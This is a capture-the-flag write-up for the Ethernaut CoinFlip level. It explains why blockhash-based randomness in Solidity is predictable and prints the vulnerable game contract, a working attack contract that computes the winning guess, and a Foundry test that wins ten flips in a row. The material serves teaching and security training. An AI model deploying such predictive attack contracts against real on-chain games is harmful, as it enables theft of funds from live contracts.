Overview
This level introduces us to the following concept(s):
- The problem of randomness in Solidity
- Deploying attack contracts and Interfaces
GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry
Objective
To complete the challenge, we will need to:
- Predict the outcome of a 50/50 coin flip game, 10 times in a row!
Contract Analysis
The entire game's logic is contained in the flip()
function. Calling the function will perform the following actions:
- Generate a pseudo-random number by using the hash of the previous block via
blockhash(block.number - 1)
. - Verify that the same number isn't encountered twice, i.e:
lastHash == blockValue
willrevert()
. - Simulate a coin flip by computing a result using our pseudo-random number.
- Increase the consecutive win counter if the player's guess and previous result are equal.
contract Coinflip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
The vulnerability in this contract is trusting an insecure PRNG (pseudo-random number generator) for game logic.
It is insecure simply in the fact that is not truly random:
- Block miners control the
blockhash
as they can throw out a block if the game outcome is not the right one. - Anyone who reads the contract has access to the variables used to compute the game's winning condition (e.g:
FACTOR
in this case).
In fact, any PRNG using block data as a source of entropy is insecure.
Blockchains are deterministic by nature, generating a verifiable secure random number requires off chain computation assisted by oracles.
💡 Recommended reads:
- Another Example: solidity-by-example.org/hacks/randomness
- Predicting Random Numbers in Ethereum Smart Contracts
- Generating a truly random number with Chainlink VRF V2
Attacking The Contract
Make sure to read through Part 0 for setup instructions.
This time we will need to deploy an additional contract CoinFlipAttack.sol
which will call the flip()
function of the main game contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10; // Latest solidity version
import "./Coinflip.sol";
interface ICoinflip {
function flip(bool _guess) external returns (bool);
}
contract CoinflipAttack {
ICoinflip public target; // vulnerable smart contract
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address targetAddress) {
target = ICoinflip(targetAddress);
}
function attack() external {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side); // we only send the right guess to the original contract, netting us the 10 consecutive wins
}
}
Next up, create the Coinflip.t.sol
test file in the test/
directory that will contain the attack logic (level setup and submission is truncated for clarity):
function testCoinFlipHack() public {
CoinflipAttack attackContract = new CoinflipAttack(levelAddress);
uint256 BLOCK_START = 100;
vm.roll(BLOCK_START); // cheatcode to prevent block 0 from giving us arithmetic error
for (uint256 i = BLOCK_START; i < BLOCK_START + 10; i++) {
vm.roll(i + 1); // cheatcode to simulate running the attack on each subsequent block
attackContract.attack();
}
assertEq(coinflipContract.consecutiveWins(), 10)
}
The vm.roll()
function is provided by our test library and allows us to adjust the block number in our test environment.
By controlling the block number and knowing how to compute the game-winning state, we can use our attack contract to send the right answer as many times as we want.
NB: the attack would still be possible on mainnet, although requiring more efforts to control the block number
Run the attack using the forge test
subcommand: